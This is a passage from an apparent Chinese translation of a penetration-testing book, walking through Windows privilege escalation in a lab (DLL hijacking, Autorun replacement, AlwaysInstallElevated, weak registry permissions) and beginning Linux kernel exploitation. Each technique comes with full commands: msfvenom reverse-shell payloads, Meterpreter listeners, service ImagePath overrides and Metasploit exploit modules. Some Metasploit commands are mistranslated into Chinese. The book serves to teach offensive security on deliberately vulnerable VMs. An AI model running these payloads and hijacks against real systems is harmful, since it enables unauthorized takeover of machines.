  3. 执行脚本后,它将开始设置我们将在本节中使用的各种易受攻击的服务。设置过程完成后,系统将提示您重新启动,如下图所示:图 8.23 – 设置脚本完成

    图 8.23 – 设置脚本完成

  4. 系统重启后,我们需要启动易受攻击的 DLL 服务。可以通过在目标虚拟机的 Windows 命令提示符下运行以下命令来完成:

    sc start dllsvc

    如下图所示,如果初始设置过程顺利执行,服务应能无误地启动:

图 8.24 – 启动易受攻击的 DLL 服务

图 8.24 – 启动易受攻击的 DLL 服务

启动dllsrv服务后,我们的易受攻击服务应已启动并运行,我们可以进入利用阶段。

DLL 利用过程

现在,我们已经将目标系统配置为具有各种易受攻击的服务,可以开始 DLL 劫持过程。

在我们开始演示之前,请确保您已经在目标系统上建立了初步的立足点:

  1. 利用阶段的第一步是识别缺少 DLL 的应用程序或服务。可以通过我们在本书第四章《执行本地枚举》中使用的winPEAS枚举工具来完成此操作。

    winPEAS 二进制文件可以从 GitHub 仓库下载,链接如下:github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe

    确保根据目标操作系统的架构下载正确的二进制文件;架构特定的二进制文件可以在 binaries 文件夹中找到,如以下截图所示:

    图 8.25 – winPEAS 二进制文件

    图 8.25 – winPEAS 二进制文件

  2. 下载二进制文件到我们的 Kali 虚拟机后,我们需要将 winPEAS.exe 二进制文件传输到目标虚拟机。

    我们可以通过运行以下命令,通过 Meterpreter 将 winPEAS.exe 二进制文件传输到目标系统:

    upload /<PATH-To-BINARY>/winPEASx64.exe

    如果你使用的是标准命令行,可以使用 certutil 工具将二进制文件传输到目标系统。

  3. winPEAS.exe 二进制文件上传到目标系统后,我们可以通过运行以下命令列出缺少 DLL 的服务:

    .\winPEASx64.exe servicesinfo

    如以下截图所示,这将列出缺少 DLL 的服务及其相应路径。在我们的例子中,我们能够识别出具有必要权限的 dllsvc 服务的应用程序路径:

    图 8.26 – winPEAS DLL 劫持路径

    图 8.26 – winPEAS DLL 劫持路径

    我们还能够识别出易受攻击的 DLL 劫持服务,如以下截图所示:

    图 8.27 – winPEAS DLL 劫持服务

    图 8.27 – winPEAS DLL 劫持服务

  4. 我们还可以手动识别 dllhijackservice.exe 的缺失 DLL。这可以通过进程监视器工具完成,可以在此处下载:docs.microsoft.com/en-us/sysinternals/downloads/procmon

  5. 下载进程监视器可执行文件到目标系统后,我们可以执行它并设置以下截图中突出的过滤器选项:图 8.28 – 进程监视器结果过滤器

    图 8.28 – 进程监视器结果过滤器

  6. 设置结果过滤器为 NAME NOT FOUND 后,我们需要设置一个额外的路径过滤器,仅显示 .dll 文件,如以下截图所示:图 8.29 – 进程监视器路径过滤器

    图 8.29 – 进程监视器路径过滤器

  7. 在添加了两个过滤器之后,您的过滤器配置应类似于以下截图中的配置:图 8.30 – 进程监视器过滤器

    图 8.30 – 进程监视器过滤器

    设置好过滤器后,可以通过点击 Apply 按钮应用过滤器,如前面的截图所示。

    这些过滤器将仅显示缺失 DLL 的服务及其相应的 DLL 名称。在这种情况下,我们可以识别出易受攻击的服务以及缺失的 DLL 名称及其相应的路径,如以下截图所示:

    图 8.31 – 进程监视器缺失 DLL

    图 8.31 – 进程监视器缺失 DLL

    现在我们可以生成我们的自定义 DLL,当执行时,它将为我们提供一个 Meterpreter 会话。

  8. 我们可以使用 msfvenom 生成自定义 DLL,并通过在 Kali 中运行以下命令来使用 Meterpreter 有效载荷:

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI-IP> LPORT=PORT -f dll > hijackme.dll

    我们将保存自定义 DLL 文件,命名为缺失 DLL 的名称,用于 dllhijackservice.exe 服务。对于我们的情况,我们将劫持 hijackme.dll DLL。

  9. 在生成自定义 DLL 后,我们可以将其传输到目标系统的相应服务路径中。对于我们的情况,路径将如下所示:

    C:\Windows\System32\wbem

    我们可以通过运行以下命令,使用 Meterpreter 上传自定义 DLL:

    upload /PATH-TO-DLL/hijackme.dll

    如下图所示,hijackme.dll 文件应该被上传到正确的路径:

    图 8.32 – 上传自定义 DLL

    图 8.32 – 上传自定义 DLL

  10. 现在我们需要使用 Metasploit 设置 Meterpreter 监听器。可以通过在 Metasploit 控制台中运行以下命令来完成:

    use /exploit/multi/handler

  11. 下一步是指定我们用 msfvenom 创建二进制文件时使用的有效载荷。可以通过运行以下命令来完成:

    set payload /windows/x64/meterpreter/reverse_tcp

    现在我们需要配置模块选项。在这种情况下,我们需要配置 LHOSTLPORT 选项,如下图所示:

    图 8.33 – Meterpreter 监听器选项

    图 8.33 – Meterpreter 监听器选项

  12. 在设置模块选项后,我们可以通过运行以下命令启动监听器:

    run

    监听器将监听来自我们使用 msfvenom 生成的有效载荷的任何传入连接。

  13. 为了执行自定义 DLL,我们需要重新启动 dllsvc 服务。可以通过在 Windows 命令行中运行以下命令来完成:

    sc stop dllsvc

    sc start dllsvc

    如果你正确地跟随了迄今为止的步骤,你应该能在我们设置的监听器上接收到一个 Meterpreter 会话,如下所示:

    图 8.34 – DLL 劫持 Meterpreter

    图 8.34 – DLL 劫持 Meterpreter

  14. 我们可以通过运行以下命令验证我们是否已经获得了提升的 Meterpreter 会话:

    getuid

    如下图所示,我们已经成功提升了权限,应该拥有一个带有管理员权限的 Meterpreter 会话:

图 8.35 – getuid Meterpreter

图 8.35 – getuid Meterpreter

我们通过识别缺失的 DLL 并生成一个自定义 DLL 来提升权限,从而获得了一个能够提供提升权限的 Meterpreter 会话。

总结

在本章中,我们首先了解了如何识别和利用未加引号的服务路径,以及如何利用它们执行恶意二进制文件以提升权限。我们还探索了如何手动和自动利用 Metasploit 框架进行 Windows 次级登录的漏洞利用。接着,我们了解了如何识别和利用弱服务权限,并通过深入探讨如何识别缺失的 DLL 文件以及执行 DLL 劫持的过程来结束本章。

在下一章中,我们将探索通过 Windows 注册表进行权限提升的过程。

第九章:通过 Windows 注册表进行权限提升

您现在应该已经掌握如何识别和执行一些最重要的 Windows 权限提升技术。然而,这个谜题的最后一块拼图依然存在:Windows 注册表。在本章中,我们将探讨如何通过利用 Windows 注册表中的配置错误和弱点来提升目标系统的权限。

我们将探索识别注册表中配置错误的过程,利用自动运行功能,利用注册表权限的薄弱环节,以及 AlwaysInstallElevated 功能来提升我们的权限。我们还将简要概述 Windows 注册表,以帮助理解其目的和功能。

在本章中,我们将涵盖以下主要主题:

  • 理解 Windows 注册表

  • 利用自动运行程序

  • 利用 AlwaysInstallElevated 功能

  • 利用弱注册表权限

技术要求

为了跟上本章的演示,您需要确保满足以下技术要求:

  • 熟悉 Windows CMD 命令

  • 熟悉 Windows 注册表

您可以在这里查看本章代码的实际应用:bit.ly/3oga2ji

理解 Windows 注册表

在深入本章的核心内容之前,我们必须对 Windows 注册表有一定的理解,知道它是做什么的,以及它如何工作。

这些信息将在本章后续部分中派上用场,并且在我们利用各种权限提升技术时,能提供一个更好的上下文,帮助我们了解正在做的事情以及我们希望实现的目标。

什么是 Windows 注册表?

简单来说,Windows 注册表是一个层次化的数据库,负责存储应用程序、硬件和 Windows 操作系统的配置、设置和值。在程序和应用程序的上下文中,注册表还用于存储与程序配置和操作相关的程序和应用程序数据。

由于 Windows 注册表的集中性质及其存储的数据,它是渗透测试人员在权限提升过程中主要的目标。这是因为它可以揭示操作系统配置和已安装程序的配置信息,这些配置可能暴露出 Windows 服务的潜在弱点,比如自动运行功能。

第四章执行本地枚举中,我们探讨了可以用来从注册表中提取重要和有用数据的各种枚举技术,主要涉及应用程序密码。然而,我们没有探讨枚举操作系统配置的过程,而这些配置可以用来利用服务和其他 Windows 特性。

在本章中,我们将探索在 Windows 注册表中识别操作系统配置错误的过程,以及如何利用这些错误来提升我们的权限。

注意

请注意,程序和应用程序并不要求将配置存储在 Windows 注册表中,它们可能选择将配置存储在程序安装目录中。在搜索程序和应用程序中的配置错误和漏洞时,必须记住这一点。

我们可以通过运行regedit.exe可执行文件来访问 Windows 注册表。可以通过 Windows 命令提示符或运行工具来完成,如下图所示:

图 9.1 – 启动 regedit.exe

图 9.1 – 启动 regedit.exe

注意

Windows 注册表编辑器(regedit.exe)是 Windows 内置的可执行文件,用于与 Windows 注册表交互,允许用户查看和编辑注册表条目。

如下图所示,Windows 注册表使用层级排序系统,根据功能和目的将数据分类为键和值:

图 9.2 – 注册表编辑器

图 9.2 – 注册表编辑器

Windows 注册表编辑器显示了包含各自值的各种键。现在,让我们来看看这些键和值是如何存储和分类的。

Windows 注册表如何存储数据

Windows 注册表在键/值系统下运行,其中条目以键和值对的形式存储其数据。

为了理解在 Windows 注册表中键和值如何工作,我们可以使用文件夹和文件的分类类比,其中键是文件夹,值是文件。

Windows 注册表编辑器显示了根键的分类列表,根键包含系统上的所有注册表值。下表提供了每个根键的描述、缩写以及它所存储的相应值的性质:

现在您了解了 Windows 注册表如何存储数据、各种根键以及它们存储的信息类型,我们可以开始探索识别 Windows 注册表中操作性配置错误的过程。

该过程是动态的,因此将依赖于目标配置和部署使用案例,主要是因为这一过程中涉及的技术将取决于特定服务的实现和配置。

考虑到该过程的强大性质和所使用的技术,我们将使用在第八章中配置的 Windows 7 虚拟机,利用服务。该虚拟机已配置了存在漏洞的服务和配置。

在我们开始之前,请确保您已在目标系统上占据了一定位置,并通过命令行或 Meterpreter 会话访问目标系统。

本章中使用的技术和工具将涉及利用本地 Windows 命令和特定 Meterpreter 模块来自动化过程的各个方面。

我们将首先看看如何识别和利用 Autorun 程序以提升我们的特权。

利用 Autorun 程序

Autorun 是 Windows 的一个功能,用于在系统启动期间自动启动应用程序和程序。

Autorun 是 AutoPlay 的一个伴随功能,通常用于自动启动特定程序的安装文件。这有助于在将安装介质插入系统时简化新软件的安装过程。

程序和软件可以配置为使用 Autorun 功能在系统启动时运行。

新版 Windows(如 Windows 10)默认情况下禁用了 Autorun 功能;但是,Microsoft 已经为用户提供了启用它的功能。此技术将需要在目标上启用 Autorun 功能。

通过识别已配置在系统启动时运行的程序以及可以由具有管理权限的用户运行的程序,我们可以通过 Autorun 来提升我们的特权。然后我们可以利用这些来提升我们的特权。

可以通过完成以下步骤执行此过程:

  1. 这个过程的第一步涉及识别目标系统上的 Autorun 应用程序。可以通过在 Windows 命令 shell 中运行以下命令来完成:

    reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

    如下截图所示,这将显示一个 Autorun 应用程序列表:

    图 9.3 – Windows 注册表 Autorun 程序

    图 9.3 – Windows 注册表 Autorun 程序

  2. 我们还可以使用 accesschk 实用程序识别已配置为 Autorun 的应用程序及其各自的权限。可以从这里下载 accesschk 可执行文件:docs.microsoft.com/en-us/sysinternals/downloads/accesschk

    accesschk 可执行文件下载到我们的 Kali 虚拟机后,我们需要将其传输到目标系统。可以通过 Meterpreter 运行以下命令完成:

    upload /<PATH-TO-EXECUTABLE/accesschk64.exe

    如果使用标准命令 shell,可以使用 certutil 实用程序将二进制文件传输到目标系统。

    在将 accesschk.exe 二进制文件上传到目标系统后,我们可以通过在 Windows 命令 shell 中运行以下命令来枚举所有 Autorun 程序的列表:

    .\accesschk64.exe -wvu "c:\Program Files\ Autorun Program"

    如下截图所示,这将突出显示一个 Autorun 程序列表、它们的访问权限以及各自的目录:

    注意

    RW 表示组具有读写权限,因此可以更改程序目录的内容。

    图 9.4 – accesschk Autorun 程序

    图 9.4 – accesschk Autorun 程序

    如前面的截图所示,我们识别了program.exe可执行文件及其权限。在这种情况下,该可执行文件具有NT AUTHORITY \SYSTEM访问权限。我们可以利用这个程序通过替换可执行文件为 Meterpreter shell 可执行文件来提升我们的权限,当管理员登录时,Meterpreter shell 会自动执行,从而为我们提供一个提升的 Meterpreter 会话。

    下一步将涉及生成反向 shell 可执行文件,并将其上传到目标系统。

    这种权限提升技术要求管理员登录系统,才能执行 Autorun 程序。

  3. 我们可以使用msfvenom生成 Meterpreter 有效载荷并将其保存为可执行文件。这可以通过在 Kali 中运行以下命令来完成:

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LISTENER-IP> LPORT=<PORT> -f exe > /home/kali/Desktop/program.exe

    反向 shell 有效载荷应与我们试图利用的程序同名,并应上传到我们之前识别的、并在此处标明的相应服务路径。

  4. 生成有效载荷后,我们可以将其上传到目标系统的 Autorun 应用程序路径,该路径如下:

    C:\Program Files\Autorun Program\

  5. 在上传 Meterpreter 有效载荷之前,我们需要重命名原始的二进制文件。然而,建议先备份原始二进制文件,以防万一过程未按预期执行。可以通过在 Meterpreter 会话中运行以下命令来重命名原始可执行文件:

    mv program.exe program_backup.exe

  6. 现在,我们可以通过在 Meterpreter 会话中运行以下命令,将 Meterpreter 可执行文件上传到目标系统的 Autorun 程序目录:

    upload /home/kali/Desktop/program.exe

    如果你使用的是标准命令行 shell,你可以使用certutil工具将二进制文件传输到目标系统。

    如以下截图所示,这将把 Meterpreter 可执行文件上传到Autorun Program目录:

    图 9.5 – 上传自定义 Autorun 程序

    ](Images/B17389_09_005.jpg)

    图 9.5 – 上传自定义 Autorun 程序

  7. 现在,我们需要使用 Metasploit 设置 Meterpreter 监听器。这可以通过在 Metasploit 控制台中运行以下命令来完成:

    use /exploit/multi/handler

  8. 下一步是指定我们使用 MSFvenom 创建二进制文件时所用的有效载荷。可以通过运行以下命令来完成:

    set payload /windows/x64/meterpreter/reverse_tcp

    现在,我们需要配置模块选项。在这种情况下,我们需要配置LHOSTLPORT选项,如以下截图所示:

    图 9.6 – Meterpreter 负载选项

    ](Images/B17389_09_006.jpg)

    图 9.6 – Meterpreter 负载选项

  9. 在设置模块选项后,我们可以通过运行以下命令启动监听器:

    run

    监听器将监听我们通过 MSFvenom 生成的负载发出的任何传入连接。

  10. 我们的自定义自动运行程序将在管理员下次登录时自动执行,之后我们应该会收到一个特权的 Meterpreter 会话,如下截图所示:

图 9.7 – 自动运行 Meterpreter 会话

](Images/B17389_09_007.jpg)

图 9.7 – 自动运行 Meterpreter 会话

有了这个,我们成功地通过利用具有配置错误权限的自动运行程序提升了我们的权限。

利用 Always Install Elevated 功能

AlwaysInstallElevated 是一个 Windows 功能,它允许没有管理员权限的标准用户帐户以管理员权限安装打包为Microsoft Windows InstallerMSI)格式的软件。

我们可以利用这个配置通过生成一个自定义的 MSI 格式可执行文件来提升我们的权限。然后,我们可以使用msiexec工具执行该 MSI 可执行文件,从而获得提升的会话。

该功能在公司和组织中常常配置错误,主要是为了方便员工访问,或者管理员在设置工作站后错误地将其启用。无论哪种情况,这项技术都能让我们以相对简单的方式提升权限。

Always Install Elevated 功能配置在 Windows 注册表中,因此我们可以查询注册表以确定该功能是否启用,然后再开始权限提升过程。

让我们来看看如何使用 Metasploit 框架手动和自动执行此技术。

注意

如果目标系统未启用此功能,则此技术将无法工作。

要执行此技术,请按以下步骤操作:

  1. 第一步是确定目标系统是否启用了 AlwaysInstallElevated 功能。可以通过在 Windows 命令行中运行以下注册表查询来完成:

    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

    reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

    如下截图所示,这将输出 AlwaysInstallElevated 功能的注册表配置及其值。如果以下截图中突出显示的值设置为0,则该功能被禁用;如果值设置为1,则该功能已启用:

    图 9.8 – 注册表查询 – AlwaysInstallElevated

    ](Images/B17389_09_008.jpg)

    图 9.8 – 注册表查询 – AlwaysInstallElevated

    在本例中,我们确定 AlwaysInstallElevated 功能已启用,因此可以利用该功能提升我们的权限。

  2. 过程中的第二步是使用 MSFvenom 生成自定义的 MSI 可执行文件。可以通过在 Kali 中运行以下命令来完成此操作:

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI-IP> LPORT=<PORT> -f msi > setup.msi

  3. 生成有效载荷后,我们可以将其上传到 Windows 临时目录,可以在以下位置找到它:

    C:\Temp

    现在,我们可以通过运行以下命令,使用 Meterpreter 将自定义 MSI 可执行文件上传到目标系统的临时目录:

    upload /home/kali/Desktop/setup.msi

    如果你正在使用标准命令行,可以使用certutil工具将二进制文件传输到目标系统。

    如下图所示,这将把 Meterpreter 可执行文件上传到Autorun Program目录:

    图 9.9 – Meterpreter – 上传自定义 MSI

    图 9.9 – Meterpreter – 上传自定义 MSI

  4. 现在,我们需要使用 Metasploit 设置 Meterpreter 监听器。可以通过在 Metasploit 控制台中运行以下命令来完成此操作:

    use /exploit/multi/handler

  5. 下一步是指定我们使用 MSFvenom 创建自定义 MSI 可执行文件时使用的有效载荷。可以通过运行以下命令来完成此操作:

    set payload /windows/x64/meterpreter/reverse_tcp

    现在,我们需要配置模块选项。在这种情况下,我们需要配置LHOSTLPORT选项,如下图所示:

    图 9.10 – Meterpreter 有效载荷选项

    图 9.10 – Meterpreter 有效载荷选项

    在设置模块选项后,我们可以通过运行以下命令来启动监听器:

    run

    监听器将监听来自我们使用MSFvenom生成的自定义 MSI 可执行文件的任何传入连接。

  6. 下一步是通过msiexec工具执行自定义的 MSI 可执行文件。可以通过在 Windows 命令行中运行以下命令来完成此操作:

    msiexec /quiet /qn /i C:/temp/setup.msi

    如果成功,这将在我们的监听器上生成一个提升的 Meterpreter 会话,如下图所示:

    图 9.11 – AlwaysInstallElevated Meterpreter 会话

    图 9.11 – AlwaysInstallElevated Meterpreter 会话

  7. 此过程还将把当前的标准用户添加到本地管理员组中。我们可以通过在 Windows 命令行中运行以下命令来确认这一点:

    net localgroup administrators

    如下图所示,Win7用户已被添加到本地管理员组中,并且具有管理员权限:

图 9.12 – 本地管理员组成员

图 9.12 – 本地管理员组成员

通过手动利用 AlwaysInstallElevated 功能,我们成功地提升了权限。

我们还可以通过使用 Metasploit 模块来自动化该过程:

  1. 通过运行以下命令加载模块:

    使用 exploit/windows/local/always_install_elevated

  2. 加载模块后,您需要为该模块设置 SESSION 选项。SESSION 选项需要您的 Meterpreter 会话的会话 ID。可以通过运行以下命令来完成:

    设置 SESSION

    如以下截图所示,SESSION 选项应反映您设置的会话 ID:

    图 9.13 – Metasploit 模块选项

    图 9.13 – Metasploit 模块选项

  3. 配置模块选项后,我们可以通过运行以下命令来运行该模块:

    运行

    如果漏洞利用成功,您应该会获得一个新的提升的 Meterpreter 会话,如以下截图所示:

图 9.14 – 提升的 Meterpreter 会话

图 9.14 – 提升的 Meterpreter 会话

通过此方式,我们成功利用 Windows 中的 AlwaysInstallElevated 功能,手动和自动地使用 Metasploit 提升了权限。

利用弱注册表权限

这种权限提升技术涉及使用标准用户帐户识别并修改服务的注册表值。在许多情况下,写入或修改 Windows 注册表的值仅限管理员权限。然而,您可能会遇到可以由标准用户帐户修改的服务。

我们可以利用这个漏洞,将服务的 ImagePath(应用程序路径)修改为自定义可执行文件的路径。这样,当服务重新启动时,我们就能获得提升的会话。

该技术只会在至少有一个或多个服务具有弱权限的系统上有效。

利用该漏洞进行攻击的过程可以通过以下步骤完成:

  1. 该过程的第一步是识别可以修改注册表值的服务列表。在这种情况下,我们可以使用 winPEAS 枚举工具枚举具有注册表值及其各自权限的服务列表。

    可以从以下 GitHub 仓库下载 winPEAS 二进制文件:github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe

    确保根据目标操作系统的架构下载正确的二进制文件;架构特定的二进制文件可以在 binaries 文件夹中找到,如以下截图所示:

    图 9.15 – winPEAS 二进制文件

    图 9.15 – winPEAS 二进制文件

    下载二进制文件到我们的 Kali 虚拟机后,我们需要将 winPEAS.exe 二进制文件传输到目标虚拟机。

  2. 我们可以通过运行以下命令,将 winPEAS.exe 二进制文件通过 Meterpreter 传输到目标系统:

    上传 //winPEASx64.exe

    如果使用的是标准命令行 shell,可以使用 certutil 工具将二进制文件传输到目标系统。

  3. 上传 winPEAS.exe 二进制文件到目标系统后,可以通过运行以下命令枚举服务注册表值列表:

    .\winPEASx64.exe servicesinfo

    如下图所示,这将列出可以修改的服务注册表值。在我们的案例中,可以识别出具有所需权限的 regsvc 服务:

    图 9.16 – winPEAS 不安全的注册表服务

    图 9.16 – winPEAS 不安全的注册表服务

    在这种情况下,我们可以修改服务并更改 ImagePath 为我们自定义 Meterpreter 可执行文件的路径。

  4. 过程中的第二步是使用MSFvenom生成自定义的 Meterpreter 可执行文件。可以通过在 Kali 中运行以下命令完成:

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI-IP> LPORT=<PORT> -f exe > shell.exe

  5. 生成可执行文件后,我们可以将其上传到 Windows 临时目录,位置如下:

    C:\Temp

  6. 现在,我们可以通过 Meterpreter 将自定义可执行文件上传到目标的临时目录,方法是运行以下命令:

    上传 /home/kali/Desktop/shell.exe

    如果使用的是标准命令行 shell,可以使用 certutil 工具将二进制文件传输到目标系统。

    如下图所示,这将把 Meterpreter 可执行文件上传到临时目录:

    图 9.17 – Meterpreter – 上传自定义可执行文件

    图 9.17 – Meterpreter – 上传自定义可执行文件

  7. 现在,我们需要使用 Metasploit 设置 Meterpreter 监听器。可以通过在 Metasploit 控制台中运行以下命令来完成:

    use /exploit/multi/handler

  8. 下一步是指定我们用来创建自定义可执行文件的有效载荷,使用MSFvenom来完成。可以通过运行以下命令来实现:

    set payload /windows/x64/meterpreter/reverse_tcp

    现在,我们需要配置模块选项。在这种情况下,我们需要配置 LHOSTLPORT 选项,如下图所示:

    图 9.18 – Meterpreter 有效载荷选项

    图 9.18 – Meterpreter 有效载荷选项

  9. 设置模块选项后,我们可以通过运行以下命令来启动监听器:

    run

    监听器将监听来自我们使用 MSFvenom 生成的自定义可执行文件的任何传入连接。

  10. 现在,我们可以修改目标注册表服务的 ImagePath 值,并将其设置为我们生成的自定义可执行文件的路径。可以通过在目标的 Windows 命令行中运行以下命令来完成:

    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\regsvc" /t REG_EXPAND_SZ /v ImagePath /d "C:\Temp\shell.exe" /f

    如果成功,新的值应该被写入。现在,服务将在下次启动或重启时执行我们的自定义可执行文件。

  11. 我们可以通过在 Windows 命令行中运行以下命令来启动服务:

    sc start regsvc

  12. 服务现在将执行我们的自定义可执行文件,并在我们设置的监听器上提供提升权限的 Meterpreter 会话,如下图所示:

图 9.19 – 提升权限的 Meterpreter 会话

图 9.19 – 提升权限的 Meterpreter 会话

现在,你应该对如何识别 Windows 注册表中的配置错误有了清晰的理解,并且知道如何利用这些错误来提升你在目标系统上的权限。

总结

在本章中,我们了解了 Windows 注册表的工作原理以及它如何存储数据。接着,我们探索了如何识别和利用 Windows 中的 Autorun 功能来提升权限。我们还探讨了如何利用 Windows 中的 AlwaysInstallElevated 功能,通过手动或自动的方式(使用 Metasploit)提升权限。最后,我们了解了如何利用弱注册表服务权限进行攻击。

在下一章中,我们将通过探索识别和利用内核漏洞的过程,开始在 Linux 上进行权限提升过程。

第九章:第三节:Linux 特权升级

本节将介绍 Linux 上的特权升级过程。通过使用多种特权升级攻击向量、工具和技术,你将能够在目标系统上提升你的权限。

本节包含以下章节:

  • 第十章Linux 内核漏洞

  • 第十一章Linux 密码挖掘

  • 第十二章计划任务

  • 第十三章利用 SUID 二进制文件

第十章:Linux 内核漏洞

现在,你已经对如何在 Windows 系统上提升特权有了基本了解,我们可以开始探索如何在 Linux 系统上提升特权。本章中,我们将探索的第一个特权提升攻击向量是内核漏洞利用。

本章中,你将学习如何手动和自动地识别、传输和利用 Linux 上的内核漏洞。这个过程将与我们在第五章中探讨的 Windows 内核漏洞利用过程相类似,其中我们探讨了 Windows 上的内核漏洞利用过程。

我们将从了解 Linux 内核的工作原理以及如何通过使用本地枚举脚本识别 Linux 上的内核漏洞开始。之后,我们将探讨修改、编译和传输内核漏洞到目标系统的过程。

本章我们将讨论以下主要内容:

  • 理解 Linux 内核

  • 使用 Metasploit 进行内核漏洞利用

  • 手动内核漏洞利用

技术要求

要跟随本章的演示,你需要确保你熟悉 Linux 终端命令。

你可以在这里查看本章的代码示例:bit.ly/3igFnys

理解 Linux 内核

你应该已经对内核的工作原理有了清晰的了解,因为我们在第五章中深入探讨了内核的结构、目的和功能。因此,本章我们只会关注 Linux 内核的结构及其工作原理。

Linux 内核是一个类 Unix 的开源、单体化和模块化的操作系统内核,最初由 Linus Torvalds 于 1991 年创建,后来成为 GNU 操作系统的主要内核。Linux 内核与 GNU 工具链的结合,促成了大量使用 Linux 内核的操作系统的发展,这些操作系统通常被称为 Linux 发行版。Linux 发行版是利用 Linux 内核,并将其与各种工具和实用程序配对,以满足特定用例或行业的操作系统。

与 Windows NT 类似,Linux 内核由两种主要的操作模式组成,这决定了对系统资源和硬件的访问:

  • 用户空间:用户空间是一个不具特权的、隔离的内存区域,专门用于运行操作系统内核外的用户程序和服务。默认情况下,服务与内核隔离,因此其特权有限。

  • 内核空间:内核空间是一个特权的、隔离的内存区域,用于运行内核。由于内核负责处理的进程和功能的性质,内核空间具有特权。

如下图所示,使用两种主要操作模式来隔离资源和硬件的访问:

图 10.1 – Linux 内核结构

图 10.1 – Linux 内核结构

用户空间的应用程序和服务可以通过使用系统调用与内核空间进行通信,如前面的图示所示。用户空间和内核空间之间的交互是通过 GNU C 库来实现的,因此,系统调用接口也承担着这一职能。

系统调用接口负责处理来自用户空间到内核的系统调用。

内核空间可以完全访问系统的硬件和资源,并负责管理系统服务以及来自用户空间的系统调用。

理解 Linux 内核漏洞利用过程

Linux 内核容易受到各种攻击,这些攻击可能导致漏洞利用或权限提升。在本章中,我们将主要关注如何正确识别并利用 Linux 内核中的漏洞来提升我们的权限。

考虑到内核在特权内核空间中运行,任何允许执行任意代码的内核漏洞将以特权状态运行,从而为我们提供一个提升的会话。

这个过程将采取双管齐下的方法,涵盖手动和自动利用内核漏洞的过程。

Linux 上的内核漏洞利用通常针对 Linux 内核中的漏洞,以执行任意代码。这有助于运行特权系统命令或获得系统 shell。这个过程将根据目标 Linux 内核的版本和使用的内核漏洞利用方式有所不同。

在本章中,我们将需要在虚拟黑客实验室中设置一个 Ubuntu 16.04 目标虚拟机。

我们可以使用 Metasploit 框架开始内核漏洞利用过程,这将使我们能够自动化在 Windows 上识别和利用内核漏洞的过程。

设置我们的环境

在本章中,我们将使用一个经过定制的 Ubuntu 16.04 虚拟机,该虚拟机已被配置为存在漏洞。这将为我们提供一个强大的环境来学习和演示内核漏洞利用。

要开始设置虚拟机,请按照以下步骤操作:

  1. 该过程的第一步是下载用于通过 VirtualBox 设置目标系统的虚拟机文件。必要的文件可以从download.vulnhub.com/stapler/Stapler.zip下载。

  2. 下载 ZIP 文件后,您需要解压其内容。您将看到一个文件夹,其中包含开放虚拟化格式OVF)和虚拟机磁盘VMDK)文件,这些文件是运行虚拟机所必需的,如下图所示:图 10.2 – 虚拟机文件

    图 10.2 – 虚拟机文件

  3. 要将虚拟机导入 VirtualBox,您需要双击 Stapler.ovf 文件。您将看到 VirtualBox 导入向导,如下图所示:图 10.3 – VirtualBox 导入向导

    图 10.3 – VirtualBox 导入向导

    VirtualBox 导入向导将提示您指定虚拟机的基础文件夹,如前述截图所示。完成此操作后,您可以点击 导入 按钮开始导入过程。

  4. 一旦虚拟机已导入到 VirtualBox,您需要将其添加到我们在第二章中创建的 虚拟黑客实验室 网络,如以下截图所示:

图 10.4 – VirtualBox 网络设置

图 10.4 – VirtualBox 网络设置

配置虚拟机使用自定义网络后,您可以保存更改并启动虚拟机以开始操作。

注意

您需要在系统中获得初步访问权限,以便跟随本章中的技术和演示。以下利用指南说明了如何在目标虚拟机上获取 meterpreter 会话:download.vulnhub.com/stapler/slides.pdf

现在我们已经设置好环境和目标虚拟机,可以开始使用 Metasploit 进行权限提升过程。

使用 Metasploit 进行内核利用

我们可以通过查看如何使用 Metasploit 框架进行内核利用来开始内核利用过程。Metasploit 框架提供了自动化和模块化的解决方案,简化了利用过程。

在本节中,我们的目标系统将是 Ubuntu 16.04 虚拟机。作为前提条件,请确保您已在系统上获得初步的访问权限,并且拥有一个 meterpreter 会话:

  1. 第一项任务是扫描目标以寻找潜在的漏洞。为此,我们将使用 local_exploit_suggester 模块。此过程在前一章节中已经详细讨论过。

  2. 我们可以通过运行以下命令在 Metasploit 中加载模块:

    使用 post/multi/recon/local_exploit_suggester

  3. 加载模块后,您需要为该模块设置 SESSION 选项。SESSION 选项需要您的 meterpreter 会话的会话 ID。可以通过运行以下命令来完成:

    设置 SESSION

    如以下截图所示,SESSION 选项应显示您设置的会话 ID:

    图 10.5 – local_exploit_suggester 选项

    图 10.5 – local_exploit_suggester 选项

  4. 配置好模块选项后,我们可以通过运行以下命令来启动模块:

    运行

    这将开始扫描过程,在此过程中,模块将开始输出目标可能存在的各种漏洞,正如以下截图所示:

    图 10.6 – local_exploit_suggester 结果

    图 10.6 – local_exploit_suggester 结果

  5. 现在,我们可以开始测试local_exploit_suggester推荐的各种漏洞利用模块。输出中的前几个模块通常有更高的成功几率。我们可以通过加载模块来测试列表中的第二个模块,正如前面的截图所示。可以通过运行以下命令来完成此操作:

    使用 /exploit/linux/local/netfilter_priv_esc_ipv4

    此内核漏洞利用将利用 Linux 内核版本低于 4.6.3 的netfilter bug,并要求启用并加载iptables。该漏洞利用还要求安装libc6-dev-i386来编译漏洞利用程序。有关此漏洞利用的更多信息,请参阅:www.rapid7.com/db/modules/exploit/linux/local/netfilter_priv_esc_ipv4/

  6. 加载模块后,您需要设置模块选项,这些选项将包括 meterpreter 会话 ID 和新 meterpreter 会话的有效负载选项,正如以下截图所示:图 10.7 – 内核漏洞利用模块选项

    图 10.7 – 内核漏洞利用模块选项

  7. 我们现在可以通过运行以下命令来执行内核漏洞利用模块:

    漏洞利用

    在这种情况下,漏洞利用失败是因为libc6-dev-i386未安装,如以下截图所示:

图 10.8 – Metasploit 内核漏洞利用失败

图 10.8 – Metasploit 内核漏洞利用失败

